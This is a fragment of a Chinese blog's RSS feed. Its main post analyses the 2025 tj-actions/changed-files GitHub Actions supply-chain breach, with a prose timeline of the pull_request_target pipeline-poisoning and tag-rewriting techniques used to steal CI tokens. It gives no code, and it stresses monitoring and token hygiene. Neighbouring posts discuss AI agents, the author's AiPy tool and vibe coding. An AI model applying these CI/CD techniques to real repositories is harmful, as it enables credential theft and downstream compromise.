data-ratio="1.2407407407407407" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2e9e4a1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLXia0HWAdINkwEdOq3folcwYq85JfObuyOmY1RM5BicOpPTcBC14QnB3kA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这个主要依赖算力的支持，当然也有注意力方面的问题。</span></p><p><span leaf="">另外一个就是前几天发布的DeepSeek 3.2的一个新方向：DeepSeek Sparse Attention (DSA) ，大大降低了上下文处理的成本，所以前面我还在想这个DSA会不会是上下文方向上新的DeepSeek时刻！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000777" data-ratio="0.5861111111111111" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=de7bab5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLX62OjCxl2Z63jFGtUCdiatiaaNKnib1v2AH1MP8pjjIDXgYQWC7icsZJlzw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">在这个方向上我们只能等待模型的进化，当然这个也符合我们模型更强AiPy更强的理念...</span></p><p><span leaf="">2、就是工程化实现</span></p><p><span leaf="">这个也就是上面提到的“Context Engineering”有点差不多，可能具体考虑东西可能有差别，这个主要是在对应的Agent相关产品开发上，目前我个人觉做的比较好的还是那几个IDE产品，一个是Cursor，因为可能是很早就使用的缘故我对当时用的@codebase功能留下了深刻的印象，当时觉得RAG可能是一个处理上下文的方向，当然这个功能被Windsurf提到的grep Agent方式所替代，然后一个就是Claude Code里的提供的上下文压缩、管理等功能，Claude Code的Subagent丝滑处理印象也非常深刻，但是他们这两个都是IDE方向的，对于代码开发的场景相对比较固定，而对于Working来说就不太好说了，这个方向也是目前我们AiPy核心开发关注的一个方向。</span></p><p><span leaf="">我们回归到姚的访谈中，还提到了另外一个词：“数据飞轮”，这个是在提到“Cursor这样的公司壁垒”问题时提到的，这个核心的部分其实也就是上面提到Context（上下文）或 Memory（记忆）等数据再训练的问题，这个问题实际上我们也考虑过，其中有一个问题：“如果你是Cursor的CEO，你会去做Pre-Training的事情吗？”，当然在姚认为：“大多数公司还没有形成数据飞轮”，这个是跟产品用户基数是息息相关的！</span></p><p><span leaf="">而对于OpenAI这种大厂确实如姚所说：“现在对于ChatGPT比较重要的是Memory（记忆）”，如果你长期使用ChatGPT的话，可能非常有体会，ChatGPT会把所有用户提交的上下文记录都形成记忆，我觉得未来他们可能想做的更多，比如通过Agent/API等获取到“环境”相关的个体数据，而做精准的个人超级管理，最新发布的ChatGPT Pulse就有这种味道？！</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000778" data-ratio="0.6314814814814815" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fb6685cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLXGfV0d1dOnLQUyc6Xgwo46ibPgIkHak0nxgOJ4kWKlHmol112FPHIqXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">注：上面提示词里我没有写Subject，而ChatGPT根据记忆关联到了AiPy的logo设计上了</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Cost 和 Value</span></span></p><p><span leaf="">这个其实就是我常说的“性价比”问题，在姚的访谈里这个主要是谈到一个创业者提的问题，这个参与者觉得算力是瓶颈，而且觉得Agent的Token用量非常可怕，用户越多多成本可能越高，说实话我看到这个问题的第一反应是这个提问的哥们真是的是一个Agent的创业者吗？如果真是可能是被Manus早期平均一个任务需要2美刀，的使用方式吧，这个主要原因多半是Claude模型贵的，那个时候大家需要追求效果所以清一色的使用Claude这种顶级模型，花销确实挺贵的，另外一个方面就是多工具调用的当时一个任务评估10几分钟中间出现大量的内容数据，但是实际上在我们AiPy出来后，成本要比Manus这种少了很多，而且我们现在主推国内模型，当时AiPy诞生的时候使用DeepSeek的是非常便宜的（我10块钱的DeepSeek官方充值，测试高强度使用AiPy用了一周），效果上当时相比使用cluade3.7等模型，单次效果可能是有一些差距，但是好歹DeepSeek便宜通过AiPy的自动反馈并修复的机制多跑几次也没啥大问题，而且到现在国产模型已经大幅度把价格打下来了，而且性能也逐步提高，DeepSeek、豆包、智谱等已经把这个性价比提高了不少！所以完全不用担心这个问题。</span></p><p><span leaf="">而姚觉得在纠结Cost之前应该先考虑Value，找到一个有价值的场景是最重要的，至于Cost总有办法解决，其实这个在国外这种创业环境确实是不用考虑的，因为如果你的效果好有大把的投资机会，而在国内就不一定了～～</span></p><p><span leaf="">当然对于这个“性价比”的问题，其实我更加在意的本地部署的模型的“性价比”，从DeepSeek到智谱4.5（现在4.6已经发布了，也会继续开源，到本文为止应该还没正式开源）的开源，开源的模型效果越来越多好，对硬件的要求也越来越低，也就是性价比大幅度提升，在我们AiPy本地一体机的测试中，GLM 4.5量化版本地部署环境中，AiPy任务一次成功率达到了80%，这完全可满足大部分的企业应用场景。（有兴趣的可以联系我们，访问<a href="https://d.aipyaipy.com/d/13" target="_blank">https://d.aipyaipy.com/d/13</a> 加群联系群主即可）</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000779" data-ratio="0.5814814814814815" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=43b254c9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLX30mYDvxccF7Bicw4qXfRPBrIJ8JcmicFNP1Ptckicq8lyzibPicOfia9jG2w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">可靠性 与 创造性</span></span></p><p><span leaf="">当主持人与姚聊到“什么样的任务适合Agent做”，姚觉得任务分“一类任务更注重reliability（可靠性）”，“另一类任务更注重creativity（创造力）”，另外“还有一种划分方式是：看任务的深度和广度”，我当时看到这个的时候我觉得这问题是我们之前纠结很久的一个问题，就是我们AiPy稳定性，可重复使用的问题，这个问题我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》里关于“Python-Use范式 ‘劣势’“里有提到，当然我们也有一些解决方案，除了之前提到的这些外，我们甚至发明了一个“Python Function Calling（PFC）”的机制，当然这个在我的理解里还是所有“Python Packages Calling”的范畴，传统的Function Calling是基于OpenAI的格式，使用JSON的方式去调用，而基于Python-Use下的仍然是依靠大模型直接去调用实现部署注册好的Function。具体放在插件部分调用了（注意这个部分目前CUI是不支持的），具体工具的实现代码，你可以在/plugins/目录下找到，你也可以自己注册开发对应的工具。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000780" data-ratio="0.4046296296296296" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e495a37c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswWQAJXCAK3qzUWqupQOyLXE7Opxs6hxkPfTxCKfWeb7RAA9jyNdtEU0wXclibSp8mYhQ4SibjGg7Nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">姚采访的内容实在是很多，涉及的点也非常多，还有很多的细节点也有很多共鸣的地方，只是有的点不在今天讨论的范畴，比如我还看到了安全方向的共鸣：</span></p><blockquote><p><span leaf="">李广密：你个人会担心AGI实现之后的安全问题吗？</span></p><p><span leaf="">姚顺雨：我会担心。但现在最大问题是——AGI还没实现，我们还没创造足够价值。</span></p><p><span leaf="">如果我们还没想清楚，怎么把它变得有价值，就急着把它变得很安全，好像没有意义。</span></p></blockquote><p><span leaf="">与其纠结恶的部分，不如先想想怎么发挥善的价值！</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">最后</span></span></p><p><span leaf="">当然还有很多关于训练的创业相关的一些话题，我这里就不太好惨和了，在最后其实我想说明的上面这些观点都是我个人的理解，可能与姚顺雨本身的想表达的不完全一致，而且从背景上来看姚更趋向于学术视角，而我可能更加偏工程落地视角。可惜我并不认识姚，如果有机会的话倒是挺期待有一些新的探讨！</span></p><p><span leaf="">ChatGPT对本文的评论：“姚顺雨的Agent定义提供了一个学术与系统视角，而Python-Use范式则给出了一个工程与落地视角。两者在‘Code是AI的手’这个共识点上握手，但走向的路径可能不同：一个是从环境出发构造产品，一个是从数据出发打通交互。最终，它们都指向一个问题：我们如何让AI真正伸出一只手，去触摸并改造这个数字世界。”</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484432">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eb10d0b7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484432%26idx%3D1%26sn%3D08f9bc756097a23e7add75ed2460b8ff">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Oct 2025 17:50:00 +0800</pubDate>
    </item>
    <item>
      <title>被忽视的“GitHub Actions Supply Chain Attack”事件</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484421&amp;idx=1&amp;sn=80b85bd5fa8b7ecc61a3beaaa12d89ca</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-09-09 19:32</span> <span style="display: inline-block;">湖南</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9326154f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusyMqDib6eQkyWLvspUk4cmhutZWAOOiaIEUPEGuGxc2p7vyARBHia3VyYf8HT75DcINRJnHPfBKbiboQQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000770" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=6fc968c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusyMqDib6eQkyWLvspUk4cmhuhjvyM3Tp6vckstfQrXSdOSTTrV13WuWQl5QZWjMP3blSPib1njOFlHg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-indent: 0px;margin-left: 0px;margin-right: 0px;text-align: center;"><span leaf=""><span textstyle="" style="font-size: 15px;">（上图使用Google Gemini Nano Banana模型生成</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 15px;">）</span></span></p><p><span leaf="">这个事件已经是2025年3月曝光的事件了，当时我们的hackernews </span></p><blockquote><p><span leaf=""><a href="https://hackernews.cc/archives/57984 " target="_blank">https://hackernews.cc/archives/57984 </a></span></p></blockquote><p><span leaf="">有过转发，这个事件在国外社区的关注度还是比较大的，在CISA上还有记录：</span></p><blockquote><p><span leaf=""><a href="https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction" target="_blank">https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-tj-actionschanged-files-cve-2025-30066-and-reviewdogaction</a></span></p></blockquote><p><span leaf="">我只所以关注到这个事件，是因为前面翻今年BlackHat-25-USA的ppt看到这个事件的相关议题：</span></p><blockquote><p><span leaf=""><a href="https://www.blackhat.com/us-25/briefings/schedule/" target="_blank">https://www.blackhat.com/us-25/briefings/schedule/</a><a class="wx_topic_link" topic-id="mfcgfrgq-la0jcw" style="color: #576B95 !important;" data-topic="1">#when</a>-changed-files-changed-everything-uncovering-and-responding-to-the-tj-actions-supply-chain-breach-45907</span></p></blockquote><p><span leaf="">当然在这里建议看Whitepaper：</span></p><blockquote><p><span leaf=""><a href="http://i.blackhat.com/BH-USA-25/Presentations/US-25-Sharma-When-Changed-Files-Changed-Everything-Uncovering-and-Responding-to-the-tj-actions-Supply-Chain-Breach-wp.pdf " target="_blank">http://i.blackhat.com/BH-USA-25/Presentations/US-25-Sharma-When-Changed-Files-Changed-Everything-Uncovering-and-Responding-to-the-tj-actions-Supply-Chain-Breach-wp.pdf </a></span></p></blockquote><p><span leaf="">要不然看ppt的话可能看不太明白。</span></p><p><span leaf="">这个能上BlackHat USA应该不是一个相对“普通”的供应链事件，所以我就仔细的看了下，我觉得这次供应链攻击的手法等不亚于了去年差不多同一个时间爆“XZ-Utils供应链后门事件”，只是比较可惜的是国内对本次的事件的关注稍微低了...</span></p><p><span leaf="">对于供应链攻击其实我在很多年前就看到针对开源社区的开发者针对性的定制化攻击，这个在当年很多数据库泄露针对开发者的数据分析挖掘开始，到定向的攻击某些底层通用组建的开发者及项目，而本次事件更加深入到了开发者DevOps CI/CD 生态中，攻击趋势越来越深入“业务”，也越来越复杂，而这些点恰恰是很安全防御上容易忽视的点。</span></p><p><span leaf="">除了上面BlackHat的的Whitepaper，我这里推荐平底锅unit42的报告：</span></p><blockquote><p><span leaf=""><a href="https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/ " target="_blank">https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/ </a></span></p></blockquote><p><span leaf="">非常详细的持续追踪分析而且相对完整的报告。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">tj-actions/changed-files 供应链攻击全链路时间线</span></span></p><p><span leaf="">可以先看下平底锅unit42报告里的攻击流程图</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000767" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dfa7b128&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyMqDib6eQkyWLvspUk4cmhuUF1XHpARvEagR8rnGnC2iaV07oyEzCh4QxDNb6U4icdTzqYXoC2ZSeag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">下面这些是我通过大模型整理的一个时间线：</span></p><p><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">----------------</span></p><p style="margin-bottom: 8px;"><span leaf="">2024-11-28</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：SpotBugs 维护者（SPTBGS_MNTNR）在 spotbugs/sonar-findbugs 项目中创建了一个使用 pull_request_target 的工作流，并把自己的 高权限 PAT 加入到 secrets。</span></p><p style="margin-bottom: 8px;"><span leaf="">意义：埋下了后续 PPE（Poisoned Pipeline Execution） 漏洞。</span></p><p style="margin-bottom: 8px;"><span leaf="">2024-12-06</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：攻击者使用马甲账号提交恶意 PR，触发 pull_request_target 工作流。（PPE攻击）</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：工作流执行了攻击者修改过的 mvnw 文件，从而泄露了 SpotBugs 维护者的 PAT。</span></p><p style="margin-bottom: 8px;"><span leaf="">重要性：该 PAT 同时对 spotbugs/spotbugs 和 reviewdog/action-setup 仓库有写权限。</span></p><p style="margin-bottom: 8px;"><span leaf="">2025-03-11 ~ 03-13</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：攻击者利用窃取的 reviewdog 维护者 PAT：</span></p><p style="margin-bottom: 8px;"><span leaf="">在 fork 中由账号 iLrmKCu86tjwp8 创建恶意 commit；</span></p><p style="margin-bottom: 8px;"><span leaf="">强制覆盖 reviewdog/action-setup 的 v1 标签，使其指向该恶意 commit。</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：任何调用 reviewdog/action-setup@v1 的 workflow 会运行恶意代码。</span></p><p style="margin-bottom: 8px;"><span leaf="">2025-03-13 ~ 03-14</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：tj-actions/changed-files 的 CI workflow 被触发。</span></p><p style="margin-bottom: 8px;"><span leaf="">该 workflow 使用了 tj-actions/eslint-changed-files，而它依赖于 reviewdog/action-setup@v1；</span></p><p style="margin-bottom: 8px;"><span leaf="">恶意代码在 tj-actions/changed-files runner 上运行，窃取了具有 写权限的 GITHUB_TOKEN。</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：攻击者获得了直接操作 tj-actions/changed-files 的权限。</span></p><p style="margin-bottom: 8px;"><span leaf="">2025-03-14</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：攻击者利用被盗的 tj-actions GITHUB_TOKEN：</span></p><p style="margin-bottom: 8px;"><span leaf="">推入伪装成 Renovate Bot 的恶意 commit（0e58ed8…）；</span></p><p style="margin-bottom: 8px;"><span leaf="">使用 git push --force 重写多个版本标签（如 v35、v39、v44），全部指向恶意 commit。</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：攻击者篡改标签后，约 23,000+ 个引用该 Action 的仓库处于风险之中；其中，只要在攻击期间触发 CI 的项目，就会执行恶意版本。</span></p><p style="margin-bottom: 8px;"><span leaf="">2025-03-14（同日）</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：Coinbase 的开源项目 coinbase/agentkit workflow 中依赖 tj-actions/changed-files@v39。</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：CI 执行了带毒版本，恶意代码运行在 Coinbase runner 上；</span></p><p style="margin-bottom: 8px;"><span leaf="">Coinbase 响应：当日接到通报，停用受影响 workflow 并旋转 secrets；官方称 未发现被盗 secrets 被利用的证据。</span></p><p style="margin-bottom: 8px;"><span leaf="">2025-03-15 ~ 03-20</span></p><p style="margin-bottom: 8px;"><span leaf="">事件：GitHub 与安全社区介入，禁用了恶意版本，tj-actions 与 reviewdog 维护者清理仓库；</span></p><p style="margin-bottom: 8px;"><span leaf="">结果：大规模传播被阻断。</span></p><p><span leaf="">----------------</span></p><p><span leaf="">简单说明下里面一些DevOps CI/CD攻击手法：</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">手法1、滥用pull_request_target导致PPE攻击</span></span></p><p><span leaf="">这个大家可以参考下 平底锅unit42 推荐的文章：</span></p><blockquote><p><span leaf=""><a href="https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/" target="_blank">https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/</a></span></p></blockquote><blockquote><p><span leaf=""><a href="https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution" target="_blank">https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution</a></span></p></blockquote><p><span leaf="">开始阶段是因为SpotBugs 这个项目的开发者，为了发布把他的PAT（Personal Access Token）写到了pull_request_target 工作流中，然后被攻击者fork一个分支修改了mvnw脚本，然后提交一个Pull Request (PR)请求，上游 workflow 用了 pull_request_target，PR 一创建就触发 CI，执行了mvnw里的恶意命令，最终把开发者PAT写到日志里泄露出来。</span></p><p><span leaf="">（说明下这个过程是不需要项目维护者确定的，CI在PR阶段自动执行）这个手法算是针对PR工作流比较经典的手法了</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">手法2、攻击者通过篡改 Action 的多个版本标签（tags），使得下游项目在 CI 中引用 @vXX 时自动获取恶意版本，从而执行恶意脚本。（这个也是blackhat议题主要要说明的手法）</span></span></p><p><span leaf="">攻击者获取SpotBugs 维护者的高权限 PAT后，发现该PAT对reviewdog/action-setup 也有写权限。随后，攻击者在 fork 仓库制造恶意 commit，并用被盗 PAT 强制更新 reviewdog/action-setup 的 tag 指向该恶意 commit。当下游项目的工作流调用了 reviewdog/action-setup@v1，并且使用的是 tag 而不是 commit hash，因此 CI Runner 拉取到的就是恶意版本。</span></p><p><span leaf="">而通过攻击者观察及挖掘，发现tj-actions/changed-files的项目多个工作流离调用reviewdog/action-setup@v1 而恶意脚本的目的同样是窃取 CI/CD 运行环境中的敏感信息，如 GitHub Token、部署凭证和其他 API 密钥。最终结果恶意代码在 tj-actions/changed-files runner 上执行，窃取了对该仓库有写权限的 GITHUB_TOKEN</span></p><p><span leaf="">在攻击者想继续循环使用上面的套路玩无限套娃下去时，并把目标重点放在Coinbase/agentkit 果然还是Web3吸引人人，而在这个时候被stepsecurity发现而曝光。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">无限套娃</span></span></p><p><span leaf="">哎呀，又到了“想当年”的时候了，&#34;每次看到经典的手法都能看到黑哥的想当年 ...&#34;</span></p><p><span leaf="">这个无限套娃让我想起了当年《WEB2.0下的渗透测试》</span></p><blockquote><p><span leaf=""><a href="https://web.archive.org/web/20120528161001if_/http://www.80vul.com/paper/WEBsec2-public.ppt " target="_blank">https://web.archive.org/web/20120528161001if_/http://www.80vul.com/paper/WEBsec2-public.ppt </a></span></p></blockquote><p><span leaf="">里的“黑遍全世界“，如下图：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000768" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e9d828ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyMqDib6eQkyWLvspUk4cmhuy3eghHfIZN8kibYLU3iaYxM7nadH6Ob69sX4rbgP0ekNSEVFmxjg1ewA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">只是那个时候的重点还是在“第三方内容劫持”上，那个时候可能还没有github这种东西，大家用的也是“站长站”这种安装程序下载平台，而不是基于开源项目的托管平台，随着互联网的发展攻击形式也发生了变化，现在这种形态在于各种项目的工作流相互调用，这个实际上也是一直“第三方内容”的新的形式，而导致的连锁反应，当年我在思考这个“黑遍全世界“想到的是“地球上任意两个陌生人之间，最多通过 6个人的社交关系 就能建立联系的‘六度分隔理论’”</span></p><p><span leaf="">当然我这个“第三方内容劫持”在后面其实还有进一步：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100000769" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=989a4517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusyMqDib6eQkyWLvspUk4cmhut5NxrGdryibgibsUgxs2JbpNXkmY20rwiacTJxoAnlIQ7HyX0Aw4pHPtw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">而最终落地到“资源”上，实际上在上面的供应链攻击实践里就看到攻击者在这个方向上的影子～～，这个思考其实分两个方向：</span></p><blockquote><p><span leaf="">❖ 假如我控制了这些资源，我能⼲什么？</span></p><p><span leaf="">❖ 如果我要搞定它，我需要什么样的资源？</span></p></blockquote><p><span leaf="">当然在上面的案例里大家的想到的方式，可能都趋向于攻击者是有意识的去通过PPE这种经典的漏洞模型去找可能存在风险的项目，而找到的“SpotBugs”这个攻击目标的，攻击成功后通过观察挖掘下一步的攻击目标，我其实也觉得这个是攻击者的事实套路，只是我想提醒下大家，如果攻击者的一开始的目标就是 “Coinbase/agentkit”呢？然后逆向探索找到了“SpotBugs”这个突破口...</span></p><p><span leaf=""><span textstyle="" style="font-weight: bold;">有时候“主动”与“被动”思维模式有着天壤之别的差别！</span></span></p><p><span leaf="">实际上攻击者把目标放在开发者及生态里也是一种对“资源”的思维模式，而目前很多开始通过针对开发者的攻击去收集获取更多的平台Token，比如近几天曝光的</span></p><blockquote><p><span leaf=""><a href="https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/" target="_blank">https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/</a></span></p></blockquote><p><span leaf="">攻击者就是通过控制项目开发者的账号权限然后进一步向获取PYPI_API_TOKEN积累“资源”，包括其他的仓库如NPM等。</span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">发现</span></span></p><p><span leaf="">针对供应链的防御核心还是在于“监控”，比如最早我们做的WAM </span></p><blockquote><p><span leaf=""><a href="https://github.com/knownsec/wam" target="_blank">https://github.com/knownsec/wam</a></span></p></blockquote><p><span leaf="">而这次stepsecurity能发现这次攻击也得益于他们的开源监控CI/CD 环境的项目： </span></p><blockquote><p><span leaf=""><a href="https://github.com/step-security/harden-runner" target="_blank">https://github.com/step-security/harden-runner</a></span></p></blockquote><p><span leaf=""> 从他们的案例里还发现不少针对PR工作流的攻击事件。</span></p><p><span leaf="">当然有了“监控”还是不够的，还得有人盯着，才能发现！</span></p><p><span leaf="">另外一个点我想提醒大家的是，估计很多人都容易忽视的一个点就是PAT这种Token管理的问题，尤其是在私有的企业级的应用平台上（如gitlab等），很多的token滥用就连很多开发者都不知道，更不好排查，token一旦泄露就是一个天然的后门，实际上这个案例里可以看出DevOps的很多在安全角度不可思议的设计，比如这个PR工作流、Tags的指向等问题 都会带来意想不到的风险！</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484421">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e91277f5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484421%26idx%3D1%26sn%3D80b85bd5fa8b7ecc61a3beaaa12d89ca">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 09 Sep 2025 19:32:00 +0800</pubDate>
    </item>
    <item>
      <title>从 Vibe Coding 到 Vibe Working</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674</link>
      <description>开篇提醒：如果您不知道AiPy，不知道Python-Use请先点击阅读下面两篇文章：【Agents/MCP可能</description>
      <content:encoded><![CDATA[<p>
原创 <span>heige</span> <span>2025-06-28 16:33</span> <span style="display: inline-block;">湖南</span>
</p>

<p>开篇提醒：如果您不知道AiPy，不知道Python-Use请先点击阅读下面两篇文章：【Agents/MCP可能</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=403ee9da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuszJsHNibhPtsSfEicLh9FjcotuI5KnjE5FwibymSsHMlia78NyBSPfY7sW77YRvdSZHOvS6v1sUyVOvwA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span leaf=""><span textstyle="" style="font-size: 12px;">开篇提醒：</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 12px;">如果您不知道AiPy，不知道Python-Use请先点击阅读下面两篇文章：</span></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="【Agents/MCP可能不存在了】No Agents, Just Python-use！" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-size: 12px;">【Agents/MCP可能不存在了】No Agents, Just Python-use！</span></a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="AI Agent真正落地的关键：大模型与环境数据的无限扩展能力" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="font-size: 12px;">AI Agent真正落地的关键：大模型与环境数据的无限扩展能力</span></a></span></p><p><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">Vibe Coding 的缘起</span></span></p><p><span leaf="">Vibe Coding起源于Andrej Karpathy的2月3号推文：</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000757" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.288888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=6d8d911e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuszJsHNibhPtsSfEicLh9Fjcot7Oicaruq0voibSNJqxMxgGiaCg1oue8CGCxUn3cyBusT76A33qlLTG7wQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf=""><a href="https://x.com/karpathy/status/1886192184808149383" target="_blank">https://x.com/karpathy/status/1886192184808149383</a></span></p><p><span leaf="">到目前为止光推文的阅读量就达到504.5万，可能是源于Andrej Karpathy的影响力，推文发布后，迅速引起广泛讨论及关注，甚至维基百科也收录了该词条：</span></p><p><span leaf=""><a href="https://en.wikipedia.org/wiki/Vibe_coding" target="_blank">https://en.wikipedia.org/wiki/Vibe_coding</a></span></p><p><span leaf="">在这里推荐一个3月份YC组织一个博客讨论记录：</span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" 